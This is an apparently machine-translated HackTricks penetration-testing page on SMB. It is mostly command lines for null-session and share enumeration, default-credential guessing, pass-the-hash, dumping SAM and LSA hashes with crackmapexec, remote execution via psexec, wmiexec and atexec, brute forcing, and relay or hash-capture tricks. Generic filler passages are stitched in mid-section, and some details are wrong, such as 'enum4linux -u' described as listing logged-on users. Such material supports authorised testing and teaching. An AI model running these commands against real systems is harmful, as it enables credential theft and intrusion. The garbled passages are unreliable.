34 KiB
139,445 - SMB 渗透测试
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入💬 Discord 群组 或 Telegram 群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks 仓库和hacktricks-cloud 仓库提交 PR 来分享你的黑客技巧。
端口 139
NetBIOS 代表 网络基本输入输出系统。它是一种软件协议,允许局域网(LAN)上的应用程序、个人电脑和桌面电脑与网络硬件进行通信,并在网络上传输数据。在 NetBIOS 网络上运行的软件应用程序通过它们的 NetBIOS 名称定位和识别彼此。NetBIOS 名称最长可达 16 个字符,并且通常与计算机名称分开。当一个应用程序(客户端)通过 TCP 端口 139 发送命令“呼叫”另一个客户端(服务器)时,两个应用程序会启动一个 NetBIOS 会话。(摘自这里)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
端口445
虽然端口139在技术上被称为“NBT over IP”,但端口445是“SMB over IP”。SMB代表“Server Message Blocks”。现代语言中,Server Message Block也被称为Common Internet File System。该系统作为应用层网络协议主要用于在网络上的节点之间提供文件、打印机、串口和其他通信方式的共享访问。
例如,在Windows上,SMB可以直接在TCP/IP上运行,而无需NetBIOS over TCP/IP。正如你所指出的,这将使用端口445。在其他系统上,你会发现服务和应用程序使用端口139。这意味着SMB正在使用NetBIOS over TCP/IP。(摘自这里)
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Server Message Block (SMB
) 是一种客户端-服务器协议,用于管理对文件、整个目录和其他网络资源(如打印机、路由器或网络接口)的访问。该协议的主要应用领域是特定的Windows操作系统系列,其网络服务以向下兼容的方式支持SMB - 这意味着具有较新版本的设备可以轻松与安装有较旧Microsoft操作系统的设备进行通信。
通过免费软件项目Samba,还可以在Linux和Unix发行版中使用SMB,从而实现跨平台的SMB通信。
SMB服务器可以将其本地文件系统的任意部分作为共享提供。因此,对客户端可见的层次结构部分上独立于服务器上的结构。访问权限由访问控制列表
(ACL
)定义。它们可以根据**执行
、读取
和完全访问
等属性以细粒度的方式**对个别用户或用户组进行控制。ACL是基于共享定义的,因此与在服务器上本地分配的权限不对应。
IPC$ 共享
来自书籍 Network Security Assessment 3rd edition
通过匿名空会话,您可以访问IPC$共享并与通过命名管道公开的服务进行交互。Kali Linux中的enum4linux实用程序非常有用;使用它,您可以获取以下信息:
- 操作系统信息
- 父域的详细信息
- 本地用户和组列表
- 可用SMB共享的详细信息
- 有效的系统安全策略
什么是NTLM
如果您不知道什么是NTLM,或者想了解它是如何工作和如何滥用它,您会发现这个关于NTLM的页面非常有趣,其中解释了该协议的工作原理以及您如何利用它:
{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}
服务器枚举
扫描网络以搜索主机:
nbtscan -r 192.168.0.1/24
SMB服务器版本
要寻找可能的SMB版本漏洞,了解正在使用的版本非常重要。如果这些信息在其他使用的工具中没有显示,您可以:
- 使用MSF辅助模块_auxiliary/scanner/smb/smb_version
- 或者使用以下脚本:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
搜索漏洞
To search for exploits, you can use various tools and resources. Here are some common methods:
-
Exploit Databases: Websites like Exploit-DB, Rapid7, and Metasploit provide extensive databases of known exploits. You can search these databases using relevant keywords or specific vulnerabilities.
-
Vulnerability Scanners: Tools like Nessus, OpenVAS, and Nexpose can scan networks and systems for known vulnerabilities and provide a list of potential exploits.
-
Security Blogs and Forums: Many security researchers and experts share their findings and exploits on blogs and forums. Keeping an eye on these platforms can help you discover new exploits.
-
Exploit Frameworks: Frameworks like Metasploit and Core Impact offer a wide range of exploits that you can search and utilize for penetration testing.
Remember, when searching for exploits, it's important to ensure that you have proper authorization and are using them for legitimate purposes.
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
可能的凭据
用户名 | 常见密码 |
---|---|
(空白) | (空白) |
guest | (空白) |
Administrator, admin | (空白), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
SMB环境信息
获取信息
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
枚举用户、组和已登录用户
SMB枚举用户
使用enum4linux
工具可以枚举SMB服务器上的用户列表。该工具可以通过以下命令进行安装:
apt-get install enum4linux
然后,可以使用以下命令来枚举用户:
enum4linux -U <target_IP>
SMB枚举组
使用enum4linux
工具可以枚举SMB服务器上的组列表。可以使用以下命令来执行组枚举:
enum4linux -G <target_IP>
SMB枚举已登录用户
使用enum4linux
工具可以枚举SMB服务器上的已登录用户列表。可以使用以下命令来执行已登录用户枚举:
enum4linux -u <target_IP>
使用Metasploit枚举用户和组
Metasploit框架提供了一些模块,可以用于枚举SMB服务器上的用户和组。可以使用以下命令来启动Metasploit控制台:
msfconsole
然后,可以使用以下命令来枚举用户:
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS <target_IP>
run
要枚举组,可以使用以下命令:
use auxiliary/scanner/smb/smb_enumgroups
set RHOSTS <target_IP>
run
使用Nmap枚举已登录用户
Nmap是一款功能强大的网络扫描工具,可以用于枚举SMB服务器上的已登录用户。可以使用以下命令来执行已登录用户枚举:
nmap -p 445 --script smb-enum-users <target_IP>
请注意,这些枚举方法可能会在不同的环境中产生不同的结果。因此,建议尝试多种方法以获取更全面的信息。
# This info should already being gathered from enum4linux and enum4linux-ng
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
# Impacket - Enumerate local users
lookupsid.py -no-pass hostname.local
# Metasploit - Enumerate local users
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
枚举LSARPC和SAMR rpcclient
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}
从Linux进行GUI连接
在终端中:
xdg-open smb://cascade.htb/
在文件浏览器窗口中(nautilus,thunar等)
smb://friendzone.htb/general/
共享文件夹枚举
列出共享文件夹
通常建议查看是否可以访问任何内容,如果没有凭据,请尝试使用null 凭据/访客用户。
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
连接/列出共享文件夹
To connect to a shared folder on a remote machine, you can use the smbclient
tool. This tool allows you to interact with SMB (Server Message Block) servers and perform various operations.
To connect to a shared folder, use the following command:
smbclient //<IP_ADDRESS>/<SHARED_FOLDER_NAME> -U <USERNAME>
Replace <IP_ADDRESS>
with the IP address of the remote machine and <SHARED_FOLDER_NAME>
with the name of the shared folder you want to connect to. Additionally, replace <USERNAME>
with a valid username that has access to the shared folder.
Once connected, you can use various commands to interact with the shared folder. For example, you can use the ls
command to list the files and directories in the shared folder:
ls
This will display the contents of the shared folder.
You can also use the get
command to download a file from the shared folder to your local machine:
get <FILE_NAME>
Replace <FILE_NAME>
with the name of the file you want to download.
To exit the smbclient
tool, use the exit
command:
exit
This will disconnect you from the shared folder.
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
手动枚举Windows共享并连接到它们
可能您被限制显示主机机器的任何共享,当您尝试列出它们时,似乎没有任何共享可连接。因此,值得尝试手动连接到共享。要手动枚举共享,您可能希望查找类似于NT_STATUS_ACCESS_DENIED和NT_STATUS_BAD_NETWORK_NAME的响应,当使用有效会话(例如空会话或有效凭据)时。这些可能表明共享是否存在且您无权访问它,或者共享根本不存在。
Windows目标的常见共享名称包括:
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(来自《网络安全评估第三版》的常见共享名称)
您可以尝试使用以下命令连接到它们:
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
或者使用这个脚本(使用空会话)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
SMB (Server Message Block)
SMB(Server Message Block)是一种用于在计算机网络上共享文件、打印机和其他资源的通信协议。它是一种客户端-服务器协议,允许客户端请求文件或其他服务,并由服务器提供响应。
SMB版本
- SMBv1:最早的SMB版本,存在许多安全漏洞,因此不推荐使用。
- SMBv2:引入了更强大的加密和身份验证机制,是Windows Vista和Windows Server 2008的默认版本。
- SMBv3:进一步增强了安全性和性能,是Windows 8和Windows Server 2012的默认版本。
SMB的渗透测试
SMB的渗透测试主要包括以下几个方面:
- 端口扫描:使用工具如Nmap扫描目标主机的445端口,以确定是否开放了SMB服务。
- 枚举:使用工具如enum4linux、smbmap和smbclient来枚举目标主机上的共享文件夹、用户和组信息。
- 弱口令攻击:使用工具如Hydra、Medusa和CrackMapExec来尝试猜解SMB服务的用户名和密码。
- SMB共享文件夹访问:使用工具如smbclient、smbget和smbmount来访问目标主机上的共享文件夹,并获取敏感信息。
- SMB漏洞利用:利用已知的SMB漏洞,如EternalBlue和SMBGhost,来获取远程代码执行权限。
SMB的常见漏洞
- SMB弱口令:使用弱密码保护SMB服务,容易受到暴力破解攻击。
- SMB共享文件夹权限配置不当:错误配置共享文件夹的权限,可能导致未经授权的访问。
- SMB版本漏洞:旧版本的SMB存在多个已知漏洞,如EternalBlue和SMBGhost,可被黑客利用进行攻击。
SMB的防御措施
- 更新SMB版本:使用最新的SMB版本,以确保安全性和性能。
- 强密码策略:使用强密码保护SMB服务,避免使用常见密码。
- 正确配置共享文件夹权限:仅授权合适的用户和组访问共享文件夹。
- 安全补丁和更新:及时安装操作系统和应用程序的安全补丁和更新,以修复已知的SMB漏洞。
- 网络隔离:将SMB服务隔离在安全的网络环境中,限制对其的访问。
SMB的有用工具
- enum4linux:用于枚举SMB服务的工具,可获取共享文件夹、用户和组信息。
- smbmap:用于枚举SMB共享文件夹的工具,可检查共享文件夹的权限和内容。
- smbclient:用于与SMB共享文件夹进行交互的工具,可上传、下载和删除文件。
- smbget:用于从SMB共享文件夹下载文件的工具。
- smbmount:用于将SMB共享文件夹挂载到本地文件系统的工具。
- Hydra:用于进行弱口令攻击的工具,可猜解SMB服务的用户名和密码。
- Medusa:用于进行弱口令攻击的工具,支持多种协议,包括SMB。
- CrackMapExec:用于进行弱口令攻击和漏洞利用的工具,支持多种协议,包括SMB。
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
挂载共享文件夹
To mount a shared folder, you can use the mount
command in Linux or the net use
command in Windows.
Linux
In Linux, you can use the mount
command to mount a shared folder. The syntax is as follows:
mount -t cifs //<IP_address>/<shared_folder> <mount_point> -o username=<username>,password=<password>
Replace <IP_address>
with the IP address of the machine hosting the shared folder, <shared_folder>
with the name of the shared folder, <mount_point>
with the directory where you want to mount the shared folder, <username>
with the username required to access the shared folder, and <password>
with the corresponding password.
Windows
In Windows, you can use the net use
command to mount a shared folder. The syntax is as follows:
net use <drive_letter>: \\<IP_address>\<shared_folder> /user:<username> <password>
Replace <drive_letter>
with the desired drive letter for the mounted folder, <IP_address>
with the IP address of the machine hosting the shared folder, <shared_folder>
with the name of the shared folder, <username>
with the username required to access the shared folder, and <password>
with the corresponding password.
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
下载文件
阅读前面的章节以了解如何使用凭据/Pass-the-Hash连接。
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
命令:
- mask:指定用于过滤目录中文件的掩码(例如,""表示所有文件)
- recurse:切换递归(默认关闭)
- prompt:切换文件名提示(默认开启)
- mget:从主机复制与掩码匹配的所有文件到客户机
(来自smbclient的manpage的信息)
域共享文件夹搜索
- Snaffler****
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec 蜘蛛。
-M spider_plus [--share <share_name>]
--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
特别有趣的是共享文件中的名为**Registry.xml
的文件,因为它们可能包含通过组策略配置了自动登录的用户的密码。或者名为web.config
**的文件,因为它们包含了凭据信息。
{% hint style="info" %}
SYSVOL共享可以被域中的所有经过身份验证的用户读取。在其中,您可能会找到许多不同的批处理、VBScript和PowerShell脚本。
您应该检查其中的脚本,因为您可能会找到敏感信息,如密码。
{% endhint %}
读取注册表
您可以使用一些发现的凭据来读取注册表。Impacket的**reg.py
**工具允许您尝试:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
后渗透
Samba 服务器的默认配置通常位于 /etc/samba/smb.conf
,可能包含一些危险的配置:
设置 | 描述 |
---|---|
browseable = yes |
允许列出当前共享中可用的共享? |
read only = no |
禁止创建和修改文件? |
writable = yes |
允许用户创建和修改文件? |
guest ok = yes |
允许在不使用密码的情况下连接到服务? |
enable privileges = yes |
是否遵守分配给特定 SID 的权限? |
create mask = 0777 |
新创建的文件必须分配的权限是什么? |
directory mask = 0777 |
新创建的目录必须分配的权限是什么? |
logon script = script.sh |
用户登录时需要执行的脚本是什么? |
magic script = script.sh |
当脚本关闭时应执行哪个脚本? |
magic output = script.out |
魔术脚本的输出应存储在哪里? |
命令 smbstatus
提供有关服务器和已连接用户的信息。
使用 Kerberos 进行身份验证
您可以使用工具 smbclient 和 rpcclient 进行对 Kerberos 的身份验证:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
执行命令
crackmapexec
crackmapexec可以利用mmcexec,smbexec,atexec,wmiexec中的任何一个方法来执行命令,其中wmiexec是默认方法。您可以使用参数--exec-method
指定您希望使用的选项:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
这两个选项都会在受害者机器上创建一个新的服务(通过SMB使用 \pipe\svcctl),并使用它来执行某些操作(psexec将上传一个可执行文件到ADMIN$共享,而smbexec将指向cmd.exe/powershell.exe并将负载放在参数中 --无文件技术--)。
有关psexec和smbexec的更多信息。
在kali中,它位于 /usr/share/doc/python3-impacket/examples/。
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
使用参数-k
,您可以使用Kerberos进行身份验证,而不是NTLM。
wmiexec/dcomexec
通过端口135使用DCOM来执行命令行,而无需触碰磁盘或运行新服务,以隐蔽方式执行。
在kali上,它位于/usr/share/doc/python3-impacket/examples/目录下。
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
使用参数-k
,您可以使用Kerberos进行身份验证,而不是NTLM。
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
通过任务计划程序执行命令(使用 SMB 上的 \pipe\atsvc)。
在 kali 上,它位于 /usr/share/doc/python3-impacket/examples/。
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Impacket参考
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
暴力破解用户凭证
不推荐使用此方法,如果尝试次数超过允许的最大次数,可能会导致账户被封锁
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB中继攻击
该攻击利用Responder工具包在内部网络上捕获SMB身份验证会话,并将其中继到目标机器。如果身份验证会话成功,它将自动将您置于系统的shell中。
在此处获取有关此攻击的更多信息。
SMB-Trap
当页面尝试通过SMB访问某些内容时,Windows库URLMon.dll会自动尝试对主机进行身份验证,例如:img src="\\10.10.10.10\path\image.jpg"
这发生在以下功能中:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
这些功能由一些浏览器和工具(如Skype)使用
使用MitMf的SMBTrap
NTLM盗窃
与SMB陷阱类似,通过将恶意文件植入目标系统(例如通过SMB)可以引发SMB身份验证尝试,从而允许使用诸如Responder之类的工具拦截NetNTLMv2哈希。然后可以离线破解哈希或在SMB中继攻击中使用。
HackTricks自动命令
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 Telegram 群组,或者关注我在推特上的🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。